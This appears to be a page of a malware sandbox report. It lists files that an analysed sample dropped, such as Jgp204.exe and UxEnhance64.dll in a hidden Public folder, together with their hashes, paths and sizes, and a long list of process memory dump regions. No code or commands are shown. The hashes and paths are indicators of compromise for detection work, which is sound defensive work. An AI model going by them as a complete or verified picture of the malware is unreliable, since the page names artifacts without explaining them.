MD5 2bd4a4710d5065d2a525b7148d103a88
SHA1 33ad59df58311eaddd9745e63b935e2600b64250
SHA512 cad11a4646754b74483132b51869e9079ade670fe0a47791ef23022cdd60a49975ac02d999a2ded0406adde531b317917cf63fcd9394c8d6622527d791bfb18d
SSDEEP 49152:3KLKP3cCMWmRqKJ1JNST5Z/nvsNBcVwNefYhOY+nEXOnqaiOKZCU0:yCMWmcKfST5t+BceThTHfaCCU0
TLSH
T1D4E533CAAA8B511AF62132B95F7DEC7DB6BC4AC4431CFC45D8A6314F4054BAE903CA4D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\gt7Y5A6\image.png
Size 2.6MB
SHA256 bc28d40ef4b58d256b2c46965844afe6251b63950a5a033cd9c6604822530629
MD5 5707805c09ccd0a94963d3eaf40f89f7
SHA1 96371b7a3691157ef0f0363a695d67261ce2c8f4
SHA512 ba0bb32490cb0c3fa6bb2fe98f301ee471ff89599248d72b1339d2baeac3d31be92bcb373010ab87a3182a54c4f950bbf7809ca219cc799caf8766be5fda2826
SSDEEP 49152:TEmY0WZdgzYkk3mPVWIU5VJwUTY1ptQZHA5HmXiEhgyOUb:TFYrZdgzrNWII7jT4piZg5mNmt+
TLSH
T175D533481F0D8BEACF337F87452B71C634C99B1DE59AA1124A739C9F8E7C49062279D8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Jgp204.exe

Path C:\Users\Public\8QJ27D\Jgp204.exe
Size 135KB
SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
MD5 9ec587911e501b73b7cf09f05d0ae17d
SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
TLSH
T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

UxEnhance64.dll

Path C:\Users\Public\8QJ27D\UxEnhance64.dll
Size 3.1MB
SHA256 05906b1f119a88bbf6aefc903a730e04c32be70278a3fc68b6d2a8ecc2c6e566
MD5 fbc19735ee93442fc6084c62ec1fbb0b
SHA1 29812dad4940e9a1933e4f1c762066275b641136
SHA512 33e71a2d5e801c7e4a2d222ef0ae8bf1218f16b98775098c42141768c5e5f82b81cd19530cff88c466150f1e64c45e2e867f969c07224a10e6ad2e7e85afb862
SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+W:P9m29xx3Tiqt06ox6+z2rNNrKoW
TLSH
T1AEE523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

adoresd.dat

Path C:\Users\Public\8QJ27D\adoresd.dat
Size 4.7MB
SHA256 0be2777722d6d2fe8493365c7bbcc535967e3ae0daef3140c5315ce948c9cc88
MD5 9aae513301337520dec5fd7f199b4913
SHA1 d3bfbb086ed4db182efb8a22f0f79e8a8988ba7b
SHA512 ebfe311654956e79f05097feb29246847358ed725a9a30bbf41c455b956cdfc0d5d39d4d7c27c24cab272da82c96de1583cf6bb08dea5be7895f2b0c4b1016ee
SSDEEP 98304:9KC/XwuPMlcCGQtZspbohHC0CYxm5YrKjaHhIVyU8zU9VQIr6K:9KClqhi0Cv54K2IVS0VQg
TLSH
T1CE3633C90DC0ED7D61810A8478A91192F6713147E2F1E6E8FD6C7E0AB87FD52E1A3B58
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msadox.tb

Path C:\Users\Public\8QJ27D\msadox.tb
Size 8KB
SHA256 e3ada810ce5be72727bbfaaafd5639e570dd10e3956f7874be87a2f8b2cb8a00
MD5 c16e384a77848747abfbd78441d10433
SHA1 7de042f7a2028c97822c2ba34d4c9978ce91b687
SHA512 913943e02d55a311a41eeb72ed5c5b5247285d5c88fe3cf3b06f2b6a18389e1d383a4d16030f96282999074692cb663a37006c4344b6a5b18d5246647d02ea13
SSDEEP 192:JqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:JsZqZOXQ3uqvR2Kfzp
TLSH
T1C1029E05D7A20CC3D2016C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE620D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

destopbak.ini

Path C:\Users\Public\Music\destopbak.ini
Size 2B
SHA256 dd1e2826c0124a6d4f7397a5a71f633928926c0608b62fb9e615ba778acc39ff
MD5 7e74f75663e5b5a4f3452a4c603ee45d
SHA1 d5114b086b721f2c87ea7152025792958ab4c629
SHA512 2f5d0d45593487bebc2ccf968eaf2a4a3bde1d5a29c7c2b5ad411e041c0d3b7a46be439ed7083093057a96030683b9defbed1a2ef7882b3e64cf3fbc7c9cf12f
MD5 SHA1 SHA512

Submit Download

xxxx.ini

Path \??\c:\xxxx.ini
Size 2B
SHA256 7eb70257593da06f682a3ddda54a9d260d4fc514f645237f5ca74b08f8da61a6
MD5 81051bcc2cf1bedf378224b0a93e2877
SHA1 ba8ab5a0280b953aa97435ff8946cbcbb2755a27
SHA512 1b302a2f1e624a5fb5ad94ddc4e5f8bfd74d26fa37512d0e5face303d8c40eee0d0ffa3649f5da43f439914d128166cb6c4774a7caa3b174d7535451eb697b5d
MD5 SHA1 SHA512

Submit Download

memory/2788-570-0x00007FF9BBC60000-0x00007FF9BC17E000-memory.dmp

Download

memory/2788-573-0x0000025716FE0000-0x0000025717867000-memory.dmp

Download

memory/2788-580-0x0000025716FE0000-0x0000025717867000-memory.dmp

Download

memory/2788-576-0x0000025716FE0000-0x0000025717867000-memory.dmp

Download

memory/2788-583-0x0000025716FE0000-0x0000025717867000-memory.dmp

Download

memory/2788-584-0x00007FF9D8730000-0x00007FF9D8732000-memory.dmp

Download

memory/2788-575-0x00007FF9D8740000-0x00007FF9D8742000-memory.dmp

Download

memory/2788-581-0x0000025716FE0000-0x0000025717867000-memory.dmp

Download

memory/2788-582-0x0000025716FE0000-0x0000025717867000-memory.dmp

Download

memory/2828-747-0x0000000072840000-0x0000000072F8A000-memory.dmp

Download

memory/3156-735-0x0000000003420000-0x0000000003C23000-memory.dmp

Download

memory/3156-757-0x0000000000CC0000-0x0000000000CC1000-memory.dmp

Download

memory/3156-752-0x0000000003420000-0x0000000003C23000-memory.dmp

Download

memory/3156-729-0x0000000000CC0000-0x0000000000CC1000-memory.dmp

Download

memory/3156-730-0x0000000074BC0000-0x000000007530A000-memory.dmp

Download

memory/3880-692-0x0000000003570000-0x0000000003D73000-memory.dmp

Download

memory/3880-671-0x0000000003570000-0x0000000003D73000-memory.dmp

Download

memory/3880-678-0x0000000003570000-0x0000000003D73000-memory.dmp

Download

memory/3880-674-0x0000000003570000-0x0000000003D73000-memory.dmp

Download

memory/3880-673-0x0000000000E70000-0x0000000000E71000-memory.dmp

Download

memory/3880-687-0x0000000000EA0000-0x0000000000EB4000-memory.dmp

Download

memory/3880-667-0x0000000074BC0000-0x000000007530A000-memory.dmp

Download

memory/3880-720-0x0000000003570000-0x0000000003D73000-memory.dmp

Download

memory/3880-719-0x0000000003570000-0x0000000003D73000-memory.dmp

Download

memory/3880-694-0x0000000010000000-0x0000000010061000-memory.dmp

Download

memory/3880-666-0x0000000000E50000-0x0000000000E51000-memory.dmp

Download

memory/4372-525-0x00007FF9D2B60000-0x00007FF9D2B70000-memory.dmp

Download

memory/4372-0-0x00000000004E0000-0x00000000004EE000-memory.dmp

Download

memory/4372-524-0x00000000004E0000-0x00000000004EE000-memory.dmp

Download

memory/4372-504-0x00007FF9D2B60000-0x00007FF9D2B70000-memory.dmp

Download

memory/4372-2-0x00000000004F0000-0x00000000004FC000-memory.dmp

Download

memory/4372-1-0x00000000004E0000-0x00000000004EE000-memory.dmp

Download

memory/4396-544-0x00000245FDDC0000-0x00000245FE647000-memory.dmp

Download

memory/4396-543-0x00000245FDDC0000-0x00000245FE647000-memory.dmp

Download

memory/4396-555-0x00000245FE650000-0x00000245FE69E000-memory.dmp

Download

memory/4396-538-0x00007FF9D8740000-0x00007FF9D8742000-memory.dmp

Download

memory/4396-546-0x00000245FDDC0000-0x00000245FE647000-memory.dmp

Download

memory/4396-550-0x00000245FDDC0000-0x00000245FE647000-memory.dmp

Download

memory/4396-559-0x00000245FEA90000-0x00000245FEB1A000-memory.dmp

Download

memory/4396-565-0x00000245FDDC0000-0x00000245FE647000-memory.dmp

Download

memory/4396-556-0x00000245FEA90000-0x00000245FEB1A000-memory.dmp

Download

memory/4396-545-0x00000245FDDC0000-0x00000245FE647000-memory.dmp

Download

memory/4396-539-0x00000245FDDC0000-0x00000245FE647000-memory.dmp

Download

memory/4396-564-0x00000245FDDC0000-0x00000245FE647000-memory.dmp

Download

memory/4396-536-0x00000245FDDC0000-0x00000245FE647000-memory.dmp

Download

memory/4396-531-0x00007FF9BBC60000-0x00007FF9BC17E000-memory.dmp

Download

memory/4396-530-0x00007FF9D8730000-0x00007FF9D8732000-memory.dmp

Download

memory/4396-558-0x00000245FEA90000-0x00000245FEB1A000-memory.dmp

Download

memory/4396-557-0x00000245FEA90000-0x00000245FEB1A000-memory.dmp

Download

memory/4652-736-0x0000000003180000-0x0000000003983000-memory.dmp

Download

memory/4652-725-0x0000000000AD0000-0x0000000000AD1000-memory.dmp

Download

memory/4652-726-0x0000000074BC0000-0x000000007530A000-memory.dmp

Download